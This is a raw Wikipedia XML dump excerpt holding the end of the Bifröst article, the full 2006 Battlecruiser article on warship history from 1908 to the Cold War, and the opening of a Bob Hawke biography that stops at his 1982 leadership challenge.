:Then Hárr replied : &quot;The gods are not deserving of reproof because of this work of skill: a good bridge is Bifröst, but nothing in this world is of such nature that it may be relied on when the sons of Múspell go a-harrying.&quot; - [http://www.northvegr.org/lore/prose/021024.php Brodeur's translation]
|
|}

Alternative names: '''Bilröst''', '''Ásbrú'''.

==Named after Bifröst==

The [[Åsatrufellesskapet Bifrost]] is one of two [[Asatru]] organizations recognized by the [[Norway|Norwegian]] government.

In Soul Calibur III (PS2 game) it is Tira's first unlockable weapon. As the legend
states, the weapon is rainbow coloured.

{{NorseMythology}}

[[Category:Locations in Norse mythology]]

[[ca:Bifrost]]
[[da:Bifrost (nordisk mytologi)]]
[[de:Bifröst]]
[[es:Bifrost]]
[[fr:Bifrost]]
[[it:Bifröst]]
[[nl:Bifröst]]
[[no:Bifrost]]
[[nn:Bivrost]]
[[pt:Bifrost]]
[[ru:Биврёст]]
[[sv:Bifrost]]
[[uk:Біфрьост]]</text>
    </revision>
  </page>
  <page>
    <title>Battlecruiser</title>
    <id>4057</id>
    <revision>
      <id>41892705</id>
      <timestamp>2006-03-02T12:18:53Z</timestamp>
      <contributor>
        <username>GraemeLeggett</username>
        <id>187158</id>
      </contributor>
      <comment>/* British designs */ copyedit</comment>
      <text xml:space="preserve">[[Image:HMS Hood and HMS Barham.JPG|thumb|right|250px|[[HMS Hood (51)|HMS ''Hood'']] (left) and [[HMS Barham (1914)|HMS ''Barham'']] (right), in Malta, 1937. ''Hood'' was the largest battlecruiser ever built.]]

'''Battlecruisers''' were large [[warships]] of the first half of the [[20th century]]. They evolved from [[armored cruiser]]s and in terms of ship classification they occupy a grey area between [[cruiser]]s and [[battleship]]s. Generally, battlecruisers were similar in layout and armament to battleships but with significantly less armour allowing for gains in speed. However, different nations built to widely different designs. Some battlecruisers were smaller than battleships while others were larger than contemporaneous battleships. The chief similarity was the role specification. They were designed to hunt down and outgun smaller warships (or merchant ships in the case of the [[pocket battleship]]s), and outrun larger warships that they could not outgun. Battlecruisers became obsolete in World War 2 as advances in design and technology allowed ''fast battleships'' to be developed, which combined or even exceeded the best features of World War 1 ''battlecruisers'' and ''slow battleships''.  

Originally, to achieve this, they deviated from the standard practice of providing a ship with sufficient armour to protect against its own guns. The weight saving from the reduced armour allowed more powerful engines to be fitted. This idea was mainly conceived by British [[Admiral]] [[John Fisher, 1st Baron Fisher|Jackie Fisher]] who believed &quot;speed is the best protection&quot;. Fisher's idea centred on battlecruisers operating with the fleet, the intention being that they would hunt down enemy cruiser squadrons and evade the battleships. However, as technology developed, design philosophy changed and led to the upgrade or creation of a more heavily armoured class with less powerful guns. They were given different labels, but essentially performed the same task.

==First battlecruisers==
[[Image:Inv.jpg|thumb|250px|[[HMS Invincible (1908)|HMS ''Invincible'']], one of Britain's first battlecruisers]]

The first battlecruisers came from the [[Royal Navy]]. The same committee, instigated by Jackie Fisher, that produced the ''Dreadnought'' had been charged with the design of a new armoured cruiser.  Compared to the most recent of the RN's cruisers they were quite different. They had 12 inch guns instead of 9.2, a displacement similar to ''Dreadnought'' but twice the power to give 25 knots. These were [[HMS Inflexible (1908)|''Inflexible'']], [[HMS Invincible (1908)|''Invincible'']] and [[HMS Indomitable (1907)|''Indomitable'']], all completed in [[1908]]. They achieved speed at the expense of protection. They had armour 6 or 7 inches (150 to 180 mm) thick along the side of the hull and over the gunhouses, whereas a comparable battleship of the period had armour 11 or 12 inches (280 to 300 mm) thick. Originally thought of as simply a new type of [[armored cruiser]] (their armour was the same as that of the older armoured cruisers'), they were then designated &quot;dreadnought cruisers&quot;. A tendency to think of them as somehow partially equal to a battleship led to the unofficial title &quot;battleship cruisers&quot; which led to ''battlecruisers'' in 1912. These early ships had a top speed of 26 knots (48 km/h) compared to 20 to 21 knots (37 to 39&amp;nbsp;km/h) for contemporary battleships. They were armed with 11&amp;nbsp;in (German) or 12 in (British) (281 or 305 mm) guns, just like battleships. Soon after the British, the Germans started building their own battlecruisers, starting with [[SMS Von der Tann|''Von der Tann'']] of [[1911]]. ''Von der Tann'' and most later German battlecruisers had 280 mm (11 in) guns, which were reckoned to be the equivlent to the British 12-inchers. They benefitted from the wider dockyards that they were built in. This allowed them to be built with a broader beam than the British ships giving rise to better protection in terms of both armour and internal layout than the British battlecruisers.

During the course of the First World War Fisher had a plan for operations in the [[Baltic Sea]] which required another radically different cruiser. These became known as &quot;large light cruisers&quot; - big ships (22,000 tons and some 750 ft long) with even less protection than the battlecruisers but carrying a few battleship calibre guns. One of the these was to carry 18-inch guns; albeit only two singly in turrets fore and aft. In the event, the planned Baltic operations never materialised and the three &quot;large light cruisers&quot; laid down [[HMS Furious (1916)|HMS ''Furious'']]   [[HMS_Glorious_%2877%29|''Glorious'']] and [[HMS_Courageous_%2850%29|''Courageous'']] would find use elsewhere.

==First World War==

===Battle of Heligoland Bight===
{{main|Battle of Heligoland Bight}}

A force of British light cruisers and destroyers entered the Heligoland Bight to attack German shipping during [[World War I]]. When they met opposition from German cruisers, [[David Beatty, 1st Earl Beatty|Admiral Beatty]] took his squadron of four battlecruisers into the bight and turned the battle, ultimately sinking three German light cruisers and killing the German commander, Rear Admiral [[Leberecht Maass]].

===Battle of the Falklands===
{{main|Battle of the Falkland Islands}}

The original battlecruiser concept proved successful at the Battle of the Falkland Islands when the British battlecruisers [[HMS Inflexible (1907)|''Inflexible'']] and [[HMS Invincible (1907)|''Invincible'']] did precisely the job they were intended for when they annihilated a [[Germany|German]] cruiser squadron commanded by Admiral [[Maximilian von Spee|Maximilian Graf Von Spee]] in the South Atlantic Ocean.

===Battle of Dogger Bank===
[[Image:SMS Seydlitz.jpg|thumb|250px|[[SMS Seydlitz|SMS ''Seydlitz'']] was heavily damaged in the [[battle of Jutland]].]]
{{main|Battle of Dogger Bank (1915)}}

The vulnerability of the battlecruiser began to become apparent at the Battle of Dogger Bank, during which the German flagship [[SMS Seydlitz|''Seydlitz'']] escaped destruction only by emergency flooding of her after magazines. The Germans learned from the near-disaster and instituted improved protection. The British remained unaware of the weakness, to their great misfortune at the Battle of Jutland.

===Battle of Jutland===
{{main|Battle of Jutland}}

At the Battle of Jutland 18 months later, both British and German battlecruisers were employed as fleet units. The British battlecruisers became engaged with both their German counterparts, the battlecruisers, and then German battleships before the arrival of the battleships of the [[British Grand Fleet]]. The result was a disaster for the Royal Navy's battlecruiser squadrons: [[HMS Invincible (1907)|''Invincible'']], [[HMS Queen Mary|''Queen Mary'']] and [[HMS Indefatigable (1909)|''Indefatigable'']] exploded with the loss of all but a handful of their crews. The better armoured German battlecruisers fared better in part due to poor performance of British shells although [[SMS Lützow|''Lützow'']] was damaged and had to be scuttled, and [[SMS Seydlitz|''Seydlitz'']] was heavily damaged. No British or German battleship was sunk during the battle with the exception of the old German [[pre-dreadnought]] ''Pommern''.

==Inter-war years==
===Post-war developments===
Following the end of World War I many navies re-evaluated their ship designs. This led to a number of changes as many nations chose to reduce their battlecruiser fleet following the [[Washington Naval Treaty|Washington Naval Arms Limitation Treaty]] rather than scrap valuable battleships.

====British designs====
The British had planned 4 fast battleships, the [[G3 battlecruiser]]s, which were cancelled by the Washington treaty after the war. They would have been superior to any World War One battleship and the battlecruiser name came from their high speed and armour relative to the planned [[N3 battleship]]s they would serve alongside. The [[Royal Navy]] de-emphasized battlecruisers in the original sense of the word and all but three were scrapped by the mid-1930s. In the Royal Navy, the term was applied to ships with heavy armour, but that were still capable of speeds in excess of 25 knots. [[HMS Hood (51)|HMS ''Hood'']], launched in [[1918]], was the last British battlecruiser to be completed, her three sisters of the [[Admiral class battlecruiser|Admiral class]] were cancelled. However, ''Hood'' was completed with armour that was thought to be capable of resisting her own weapons, the classic measure of a &quot;balanced&quot; battleship and her armour weaknesses were recognised and tackled to some extent during refits - the onset of the [[Second World War]] preventing her last planned rebuild. The other two battlecruisers retained, [[HMS Renown (1916)|HMS ''Renown'']] and ''Repulse'' were modernised significantly in a series of refits between 1920 and 1939.
Of the three specialist battlecruisers, &quot;large light cruisers&quot; in the Royal Navy's terms, ships of stubstantial size but with only the armour of light cruisers intended to be armed with a few battleship calibre guns for operations in the Baltic [[HMS Furious (1916)|''Furious'']] had already been converted to an aircraft carrier during the war. [[HMS_Glorious_%2877%29|''Glorious'']] and [[HMS_Courageous_%2850%29|''Courageous'']] too big and too heavily armed to fir in with the treaty definition of cruisers, followed rather than being scrapped.

====Japanese Designs====
[[Image:Japanese battleship Kongo.jpg|thumb|250px|Japanese battlecruiser [[Japanese battleship Kongo|''Kongo'']] in [[World War I]], before conversion to a &quot;fast battleship&quot;.]]

* The [[Imperial Japanese Navy]] improved the four battlecruisers of the [[Japanese battleship Kongo|''Kongo'' class]] by increasing the elevation of the guns to 40 degrees, adding anti-torpedo bulges and additional armour, and building on a &quot;pagoda&quot; mast. The 3,800 tons of additional armour slowed their speed, but between 1933 and 1940 replacement of heavy equipment and an increase in the length of the hull by 26ft (8m) allowed them to get up to 30 knots once again. They were reclassified as &quot;fast battleships&quot;, although their armour and guns still fell short compared to surviving World War 1-era battleships in American or British navies.  In battle against true fast battleships of the [[South Dakota class battleship|''South Dakota'']] and [[North Carolina class battleship|''North Carolina'']] classes, the &quot;fast battleship&quot; refit would prove inferior to the real thing.

* The [[Imperial Japanese Navy]] scrapped three of the four ''Amagi'' class battlecruisers (which were under construction), and converted the fourth, [[Japanese aircraft carrier Akagi|''Akagi'']], into an [[aircraft carrier]] in 1927.

====US Designs====
The [[United States Navy]] retasked two battlecruiser hulls as aircraft carriers: [[USS Lexington (CV-2)|USS ''Lexington'']] and [[USS Saratoga (CV-3)|''Saratoga'']] were both designed as battlecruisers (the hull designations were originally CC-1 and CC-3) but converted part-way through construction, although this was only considered marginally preferable to scrapping the hulls outright (the remaining four: ''Constellation'', ''Ranger'', ''Constitution'' and ''United States'' were indeed scrapped). The ''Lexington'' class battlecruisers if completed would have been closer in concept to the later fast battleships, being both swift and well-armored without sacrificing firepower.  They were planned to be armed with 16&quot; guns and armored against light battleship-caliber weapons; the engines required to propel these vessels at 33 knots (their design speed) made them into fast, flexible and tough aircraft carriers with large growth margins. The heavy use of ''Saratoga'' during World War II, however (at one point she and ''Enterprise'' were the only carriers in the Pacific), precluded her from having a postwar career: Severe and repeated bomb and torpedo damage took their toll and by 1946 the hull was simply worn out.

===Rearmament===
As war became more likely nations began to rebuild their forces. At first lip-service was paid to the [[Treaty of Versailles]] and the [[Washington Naval Treaty]], but as war became more likely the designs became more ambitious. 

====German designs====
*The German pocket battleships (German:''Panzerschiffe'' - ''armored ship'': [[German battleship Deutschland|''Deutschland'']], [[German battleship Admiral Scheer|''Admiral Scheer'']], and [[German battleship Admiral Graf Spee|''Admiral Graf Spee'']]), built to meet the 10,000 ton [[displacement (fluid)|displacement]] limit of the [[Treaty of Versailles]], were another attempt at a battlecruiser-like concept. Rather than construct a lightweight battleship which sacrificed protection in order to attain high speed, the pocket battleships were relatively small vessels with only six 11 inch (280&amp;nbsp;mm) guns &amp;mdash; essentially large [[heavy cruiser]]s. They attained fairly high speeds of 26 knots (52&amp;nbsp;km/h), and reasonable protection, while staying close to the displacement limit, by using welded rather than riveted construction, triple main armament [[turret]]s, and replacing the normal [[steam turbine]] power with a pair of massive 9 cylinder [[diesel engine]]s driving each propeller shaft. They were later reclassified as &quot;heavy cruisers&quot;, having heavier guns and armour than regular heavy cruisers at the cost of speed. Unfortunatley, they were outclassed by British WW1-era true battlecruisers in speed, weaponry, and protection. 

*Two more ships were built later in the 1930s, the [[German battlecruiser Scharnhorst|''Scharnhorst'']] and [[German battlecruiser Gneisenau|''Gneisenau'']], which were considerably more powerful. At 38,900 tons full load they were somewhat larger than the French ''Dunkerque'' class and very well armoured. They were designed to carry six 15 inch (380mm) guns in three twin turrets, but for various reasons they were stuck with nine 11 inch (280mm) guns in three triple turrets instead (it was planned to rearm them during the war, but this plan was abandoned). The Royal Navy categorised them as battlecruisers since they followed the Imperial German Navy design lineage of trading off gun size for protection and speed. The German Navy nonetheless categorised them as battleships.

====French designs====
As a response to the German pocket battleships the French decided to build the [[French battleship Dunkerque|''Dunkerque'' class]] in the 1930s. They were labelled &quot;fast battleships&quot; and were armed with 13 inch (330mm) guns arranged in two quadruple turrets located forward. They were considerably larger, faster and more powerfully armed than the ships they were designed to hunt. This last design illustrated inter-war technological developments. The ultimate limit on ship speed was drag from the water displaced (which increases as a cube of speed) rather than weight, so heavier armor slowed [[World War II]] battleships by only a couple of knots (4&amp;nbsp;km/h) over their more lightly armored brethren. Heavy guns mounted on fast and well armoured ''fast battleships'' invalidated the concept of the battlecruiser as a ship class in its own right, although the development of the [[aircraft carrier]] overshadowed all big-gun vessels including the ''fast battleship''.

==Second World War==
===Commerce raiding===
In the early years of the war the German ships each had a measure of success hunting merchant ships in the [[Atlantic]]. The [[pocket battleships]] were deployed alone and sank a number of vessels, causing disruption to the trade routes which supplied the [[UK]]. They were pursued by the [[Royal Navy]] and on one occasion, at the [[Battle of the River Plate]] in 1939, the hunter became the hunted. Allied battlecruisers such as [[HMS Renown|''Renown'']], [[HMS Repulse|''Repulse'']], [[French battleship Dunkerque|''Dunkerque'']] and [[French battleship Strasbourg|''Strasbourg'']] were employed on operations to hunt down the commerce raiding German battlecruisers, but they rarely got close to their targets. The exception was when the [[German battleship Bismarck|''Bismarck'']] was sent out as a raider and was intercepted by [[HMS Hood (1918)|HMS ''Hood'']] in May [[1941]]. However, the modern German battleship was not suitable prey for the elderly British battlecruiser and the ''Bismarck’s'' 15 inch shells caused a magazine explosion reminiscent of the [[Battle of Jutland]]. Only three men survived. 

The [[German battlecruiser Gneisenau|''Gneisenau'']] and the [[German battlecruiser Scharnhorst|''Scharnhorst'']] hunted together and were initially successful at commerce raiding, sinking the British armed merchant cruiser ''Rawalpindi'' in 1939. Following repairs from damage during the [[Norwegian campaign]], the two battlecruisers set out commerce raiding once again in 1941 and sank 22 merchant ships. They returned to [[Brest, France|Brest]] in northern [[France]] but found this port was vulnerable to [[Royal Air Force]] attacks and were obliged to return to [[Germany]]. They did so in the [[Channel Dash]], a daring and successful run up the [[English Channel]]. However, they were both damaged and although ''Scharnhorst'' was repaired, ''Gneisenau'' was damaged again in [[Royal Air Force|RAF]] bombing raids and was eventually disarmed and sunk as a blockship. [[German battlecruiser Scharnhorst|''Scharnhorst'']] was employed once more to attack commerce and attempted to raid the [[Arctic convoys of World War II|Arctic convoys]] in December 1943. However, she was cornered by the battleship [[HMS Duke of York (17)| HMS ''Duke of York'']] at the [[Battle of North Cape]] and sunk on [[26 December]] [[1943]].

The use of battlecruisers as commerce raiders was curtailed following an attack by the [[German pocket battleship Admiral Scheer|''Admiral Scheer'']] on a convoy guarded by the [[HMS Jervis Bay (F40)|HMS ''Jervis Bay'']], an armed merchant cruiser. It persuaded the British [[Admiralty]] that convoys had to be guarded by battleships (or battlecruisers) and subsequently the smaller German ships were forced away from their quarry. Additionally, the air gap over the North Atlantic closed, [[Huff-Duff]] (radio triangulation equipment) improved, airborne [[History of radar#Magnetron|centimetric radar]] was introduced and convoys received [[escort carrier]] protection. The results of some of these developments were illustrated by the successful defence of convoys at the [[Battle of the Barents Sea]] and the [[Battle of the North Cape]].

===Norwegian campaign===
[[Image:Gneisenau-18.jpg|thumb|220px|German battlecruisers in a Norwegian port in June 1940]]

The [[Royal Navy]] and the [[Kriegsmarine]] both deployed battlecruisers during the [[Norwegian Campaign]] in April [[1940]]. The [[German battlecruiser Gneisenau|''Gneisenau'']] and the [[German battlecruiser Scharnhorst|''Scharnhorst'']] both engaged [[HMS Renown (1916)|HMS ''Renown'']] and although they had stronger armour than their counterpart, the British ship could hit them harder and at a longer range. They disengaged after ''Gneisenau'' sustained damage. 

Later in the campaign they returned and sunk the light [[aircraft carrier]] [[HMS Glorious|HMS ''Glorious'']] (a converted battlecruiser herself) and her destroyer escort. One of the destroyers succeeded in damaging the ''Scharnhorst'' with a torpedo, and later a submarine did the same to ''Gneisenau'', forcing both ships to spend several months in repair. The [[pocket battleship]] [[Lutzow|''Lutzow'']] was similarly damaged by [[HMS Spearfish (S95)|HMS ''Spearfish'']] during the campaign.

===Mediterranean===
The French battlecruisers had fled to North Africa following the [[Battle of France|fall of France]]. In [[July]] [[1940]] [[Force H]] under Admiral [[James Somerville]] was ordered to force their surrender or destroy them. The [[French battleship Dunkerque|''Dunkerque'']] was damaged by shells from [[HMS Hood (51)|HMS ''Hood'']] at [[Mers-el-Kebir]] but escaped to join the [[French battleship Strasbourg|''Strasbourg'']] at [[Toulon]]. Both ships were scuttled on [[27 November]] [[1942]], although ''Strasbourg'' was raised and used by the Italian navy before being sunk again in an air attack on [[18 August]] [[1944]].

===Pacific War===
The first battlecruiser to see action in the Pacific War was [[HMS Repulse (1916)|''Repulse'']] when she was sunk near [[Singapore]] on [[December 10]] [[1941]] whilst in company with [[HMS Prince of Wales (1939)|HMS ''Prince of Wales'']]. She had received a refit to give extra anti-aircraft protection and extra armour between the wars, however despite these additions and her agility, without aerial protection she was unable to avoid the continuous waves of Japanese torpedo bombers indefinitely.

The Japanese ''Kongo'' class &quot;fast battleships&quot; were used extensively as carrier escorts for most of their wartime career. However, in the [[Naval Battle of Guadalcanal]] on [[12 November]] the [[Japanese battleship Hiei|''Hiei'']] was sent out to bombard US positions. She was badly damaged by gunfire from US cruisers and destroyers. She was attacked by US aircraft from Guadalcanal’s American held airfield the next day and left to sink north of [[Savo Island]]. A few days later on [[15 November]] [[1942]] [[Japanese battleship Kirishima|''Kirishima'']], engaged the U.S. battleships [[USS South Dakota (BB-57)|''South Dakota'']] and [[USS Washington (BB-56)|''Washington'']], and was scuttled following damage from 75 hits inflicted by the ''Washington''. In contrast ''South Dakota'' survived 42 hits and was back in operation four months later. The [[Japanese battleship Kongo|''Kongo'']] survived the [[Battle of Leyte Gulf]], but was eventually sunk on [[21 November]] [[1944]] in the [[Formosa Strait]] by three [[torpedo]]es from the U.S. [[submarine]] [[USS Sealion (SS-315)|''Sealion'']].  [[Japanese battleship Haruna|''Haruna'']] was involved in bombardment operations at Guadalcanal, the [[Battle of the Philippine Sea]] and the [[Battle of Leyte Gulf]]. She was attacked by American carrier aircraft of [[Task Force 38]] and [[B-24]] bombers of the [[United States Army Air Forces]] while at [[Kure]] on [[28 July]] [[1945]] and sank at her moorings.

===New US designs===
[[Image:Uss alaska cb.jpg|thumb|250px|left|[[USS Alaska (CB-1)|USS ''Alaska'']], one of the [[United States Navy]]'s few &quot;large cruisers&quot;]]
Part way through the war the US built the two [[Alaska class cruiser|''Alaska'' class]] &quot;large cruisers&quot;, [[USS Alaska (CB-1)|''Alaska'']] and [[USS Guam (CB-2)|''Guam'']]. They were designed to hunt down the Japanese [[heavy cruiser]]s. They were built to cruiser standards, with a cruiser-like secondary battery and no torpedo defense system. Their percentage of armor tonnage at 16% was similar to that of contemporary cruisers and far less than that of true battlecruisers and battleships (the HMS Hood had 33%, while the German Bismarck had 40% weight in armor). Their protection was not able to withstand fire from their own caliber of gun. As with the never-completed [[Lexington class aircraft carrier|''Lexington'' class battlecruisers]], the ''Alaska'' class ships were an outgrowth of contemporary American cruiser design, rather than being a new battlecruiser class to occupy the middle ground between heavy cruisers and fast battleships. 

However, they resembled contemporary battleships in appearance and tonnage, with the familiar 2-A-1 main battery, massive columnar mast and cluster of 5&quot;/38 DP guns along the sides of the superstructure. The easiest way to tell the ''Alaska'' class ships from the battleships was by the dual 5&quot;/38 mount superfiring over the fore and aft main batteries.

Like the contemporary [[Iowa class battleship|''Iowa''-class]] fast battleships, their speed made them ultimately more useful as carrier escorts and bombardment ships than as the sea combatants they were developed to be, as well as the ignominious defeat of the fleets of Japanese heavy cruisers that were their ''raison d'être''. (In fact, the majority of Japanese heavy cruisers were sunk by aircraft or submarines instead of surface combat.) A planned additional four ships of the ''Alaska'' class were cancelled after the war.

Along with [[HMS Renown (1916)|''Renown'']], the two ''Alaskas'' were the only &quot;battlecruisers&quot; to survive the war (not including Turkish ''Yavuz'' - ex [[SMS Goeben]], which did not fight during the war).

==Cold War designs==
The Soviet Union planed to build several large cruiser classes, that would be a response for ''Scharnhorst'', then ''Alaska'' classes in the 1940s and early 1950s, but these plans were abandoned. In Russia, they were called &quot;heavy cruisers&quot; (''thyazholyi kreyser'').

The first design were project 69 (''Kronshtadt'') cruisers, with 35,240 tons standard load, 9 guns 305 mm and a speed of 32 knots. Two ships were laid in 1939. In 1940 it was decided to complete them according to the project 69I, with 6 guns 380 mm, bought in Germany, but the German attack on the USSR put an end to these plans and all works were canceled in a favour of more useful ship types, like submarines.

Next design were project 82 (''Stalingrad'') cruisers, with 36,500 tons standard load (42,300 tons full load), 9 guns 305 mm and a speed of 35 knots. Three ships were laid in 1951-52, but after Stalin's death they were canceled in April 1953. Apart from high costs, the main reason was, that gun-armed ships became obsolete with an advent of guided missiles. Only a central armoured hull section of the first cruiser ''Stalingrad'' was launched in 1954 and then used as a target for rockets.
[[Image:Soviet Battlecruiser Kirov.jpg|thumb|right|250px|''Kirov'', the lead ship of her class of battlecruiser]]

The Soviet [[Kirov class battlecruiser|''Kirov'' class]] of ''Raketny Kreyser'' (Rocket Cruiser), displacing approximately 26,000 tons, is classified as a battlecruiser in the 1996-7 edition of ''[[Jane's Fighting Ships]]'', even though in actuality they are very large missile cruisers. Their classification as battlecruisers arises from their displacement, which is roughly equal to that of a [[World War I]] [[battleship]], and the fact that they possess more firepower than nearly every other surface ship. However, the ''Kirov''-class lacks the heavy armour that distinguishes battlecruisers from regular cruisers and they are classified as &quot;heavy rocket cruisers&quot; in Russia. There were four members of the class completed, [[Soviet battlecruiser Kirov|''Kirov'']], [[Soviet battlecruiser Frunze|''Frunze'']], [[Soviet battlecruiser Kalinin|''Kalinin'']], and [[RFS Pyotr Velikiy|''Yuri Andropov'']]. As the ships were named after Communist personalities, after the fall of the USSR they were given traditional names of the Imperial Russian Navy, respectively ''Admiral Ushakov'', ''Admiral Lazarev'', ''Admiral Nakhimov'' and ''Petr Velikiy''. Due to budget constraints three members of this class have been decomissioned, although one is reportedly still running off parts cannibalised from the other three ships.

==Problems with the idea==
In practice, battlecruisers rarely saw the type of independent action for which they were designed. The increase in gunnery technology was so swift in the years following [[1905]], that there was a blurring of the distinction between the [[battleship]] and battlecruiser. At [[Battle of Jutland|Jutland]] the guns on [[David Beatty, 1st Earl_Beatty|Beatty's]] flagship, [[HMS Lion (1910)|HMS ''Lion'']] were 13.5 inch, which was larger than most [[High Seas Fleet|German]] and many [[British Grand Fleet|British]] battleships. 

In most cases, the temptation to add extra big guns to the main fleet proved hard to resist. As a result, battlecruiser squadrons were added to the [[line of battle]] &amp;mdash; a role for which they were not designed and one that exposed them to great risk. The armour on a battlecruiser remained that of (or slightly more than) a normal cruiser. Thus the ships could dish out a lot more punishment than they could absorb. Any advantage they had in speed was lost when locked into formation at the speed of  the slowest battleship in the line of battle. Heavy shells from opposing capital ships could easily penetrate their thinner armour. During Jutland, both British and German battlecruisers scored hits on each other. The British ships came off poorly, where the German ships' faired better due to better internal protection and poor performace of the British shells.
 
In the Second World War, large fleet actions did not happen. Battlecruisers were paired with battleships in roles such as raiding (German), convoy escort, or as part of task forces. In operations where battlecruisers did fight battleships, such as ''Hood'' and  ''Bismarck'', ''Scharnhorst'' and ''Duke of York'', ''Kirishima'' and ''Washington'', the battlecruiser was destroyed by gunfire. They were equally vulnerable to aircraft, and during [[World War II]] many were lost in this way.

==Science fiction==
In [[science fiction]], the meaning of the word &quot;battlecruiser&quot; is generally somewhat different. Usually it denotes a vessel more comparable to the fast battleships of World War II: A large, fast and tough vessel with both high firepower and enough protection to dish out and take considerable amounts of damage. In [[Star Trek]], [[Klingon]] &quot;battlecruisers&quot; often menaced the [[USS Enterprise (NCC-1701)|Starship ''Enterprise'']] - which was classified as a &quot;[[list of fictional spaceborne heavy cruisers|heavy cruiser]]&quot;, and just as often faced her on even terms.  In many Science Fiction universes, a Battlecruiser is either a ship specifically in-between a [[Heavy Cruiser]] and a [[Battleship]] in design, without the specific requirement that it can either outgun or evade any other capital ship, or the term is interchangable with &quot;heavy cruiser,&quot; with the distinction that the &quot;good guys&quot; use heavy cruisers and the &quot;bad guys&quot; use battlecruisers.

==See also==
* [[Protected cruiser]]
* [[Armored cruiser]]
* [[Light cruiser]]
* [[Cruiser]]
* [[Heavy cruiser]]
* [[List of cruisers]]
* [[Crossing the T]]

==Further reading==
*Bernard Ireland, Tony Gibbons, ''Jane's Battleships of the 20th Century'' (HarperCollins, New York, 1996) also covers battlecruisers
*David Miller, ''The Illustrated Directory of Warships from 1860 to the Present Day'' (Salamander, London, 2004) ISBN 0-86288-677-5

==External links==
*[http://www.bobhenneman.info/Homepage.htm ALL THE WORLD'S BATTLECRUISERS]

[[Category:Ship types]]

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      <text xml:space="preserve">{{Infobox PM
 | name=Hon Bob Hawke
 | image=Latham-Hawke.jpg
 | country=Australia
 | term=[[5 March]], [[1983]]&amp;ndash;[[20 December]], [[1991]]
 | before=[[Malcolm Fraser]]
 | after=[[Paul Keating]]
 | date_birth=[[9 December]] [[1929]]
 | place_birth=[[Bordertown, South Australia|Bordertown]], [[South Australia]]
 | party=[[Australian Labor Party|Labor]]
}}
'''Robert James Lee Hawke''' (born [[9 December]] [[1929]]) was an [[Australia]]n trade union leader and politician and the 23rd [[Prime Minister of Australia]]. 

After a decade as leader of the Australian union movement, he entered politics and was Prime Minister within three years. He became by far the longest-serving [[Australian Labor Party|Labor]] Prime Minister, and was second-longest-serving Prime Minister overall until December [[2004]], when [[John Howard]] overtook him. Despite his record, critics continued to dismiss him as a [[populist]], whose focus on &quot;consensus&quot; has resulted in the abandonment of many traditional Labor values.

==Early life==

Hawke was born in [[Bordertown, South Australia|Bordertown]], a small town in [[South Australia]] near the Victorian border. His father was a [[Congregationalist]] minister; his uncle, [[Albert Hawke]], was Labor [[Premier of Western Australia]] between [[1953]] and [[1959]] and was a close friend of Labor Prime Minister [[John Curtin]], who was in many ways Bob Hawke's [[role model]]. Hawke's mother, Ellie, had an almost messianic belief in her son's destiny and this contributed to his supreme self-confidence throughout his career.

Hawke was raised in [[Perth, Western Australia|Perth]] and attended the high school [[Perth Modern School]] and completed undergraduate degrees in Law and Arts (economics) at the [[University of Western Australia]]. He joined the Labor Party in [[1947]], selected as a [[Rhodes Scholarship|Rhodes Scholar]] in [[1953]] and went to [[University of Oxford|Oxford University]] to complete a Bachelor of Letters at [[University College, Oxford|University College]] with a thesis on wage-fixing in Australia. 

His academic achievements were possibly outweighed by the notoriety he achieved as the holder of a world record for the fastest consumption of beer: two and a half pints in eleven seconds. In his memoirs, Hawke suggested that this single feat may have contributed to his political success more than any other, by endearing him to a voting population with a strong beer culture.

On his return to Australia in [[1956]], Hawke married [[Hazel Hawke|Hazel Masterton]], with whom he had three children. They moved to [[Canberra]] while Hawke started studying for a doctorate at the [[Australian National University]], but he abandoned the degree in [[1958]] when he was offered a post as research officer at the [[Australian Council of Trade Unions]] (ACTU) headquarters in [[Melbourne]]. His ambition, self-belief and [[larrikin]] nature were already obvious. [[John Button]], Industry Minister in the Hawke Labor government, recalled Hawke holding court in the bar of a dingy pub that served as a Labor and union hangout, and offering him the post of [[Attorney-General]] in a future Hawke government.

==Trade union leader==

Part of Hawke's work at the ACTU was the presentation of its annual case for higher wages to the national wages tribunal, the Conciliation and Arbitration Commission. He attained such success and prominence in this role that in 1969 he was encouraged to run for ACTU President, despite the fact that he had never held office in a trade union, or indeed ever worked for a wage. 

He was elected to the presidency of the ACTU in [[1969]] on a modernising platform, by a narrow margin (399 to 350) and with the support of the left of the union movement, including some associated with the [[Communist Party of Australia|Communist Party]].

Hawke decalared publicly that &quot;socialist is not a word I would use to describe myself&quot; and his approach to government was pragmatic .He concerned himself with making improvements to workers' lives from within the traditional institutions of government, rather than to any idealogical theory. He opposed the [[Vietnam war]], but was a strong supporter of the US-Australian alliance, and also an emotional supporter of [[Israel]]. 

In industrial matters, Hawke continued to demonstrate a preference for and considerable skill at negotiation, and was generally liked and respected by employers as well as the unions he advocated for. As early as [[1972]] speculation began that he would soon enter Parliament and become Labor leader. But while his career continued successfully, his heavy use of alcohol and his notorious womanising placed considerable strains on his family life. 

In [[1973]] Hawke became Federal President of the Labor Party. When the [[Gough Whitlam|Whitlam government]] was defeated in [[1975]], Whitlam initially offered the Labor leadership to Hawke, although it was not within Whitlam's power to decide who would succeed him. Hawke decided not to enter Parliament at that time, a decision he soon regretted. The strain of this period took its toll, and in [[1979]] he suffered a physical collapse. 

This shock led Hawke to make a sustained and ultimately successful effort to conquer his [[alcoholism]] - [[John Curtin]] was his inspiration in this as in other things. He was helped in this by his relationship with the writer [[Blanche d'Alpuget]], who in [[1982]] published an admiring biography of Hawke. His popularity with the public was unaffected, and polling suggested that he was a far more popular politician than either [[Bill Hayden]], the new Labor leader, or the incumbent [[Liberal Party of Australia|Liberal]] Prime Minister [[Malcolm Fraser]]. Indeed Hawke had been the most popular man in Australia for nearly ten years by the time he entered Parliament.

When in [[1975]], in one of the most controversial political actions since federation, the [[Whitlam]] government was [[Australian_constitutional_crisis_of_1975|dismissed by the Governor General]], Hawke was influential in averting national strike action.

Hawke was elected to the [[Australian_House_of_Representatives|House of Representatives]] for the Melbourne seat of [[Division of Wills|Wills]] at the [[1980]] election, and was immediately elected to the Opposition front bench. Hayden's failure to defeat Fraser at that election gave Hawke his opportunity. He enlisted the support of the powerful [[New South Wales]] right-wing Labor &quot;machine&quot; to undermine Hayden, whom he famously described as &quot;a lying cunt with a limited future.&quot; In July [[1982]] Hawke made his first challenge for the Labor leadership, losing by four votes.

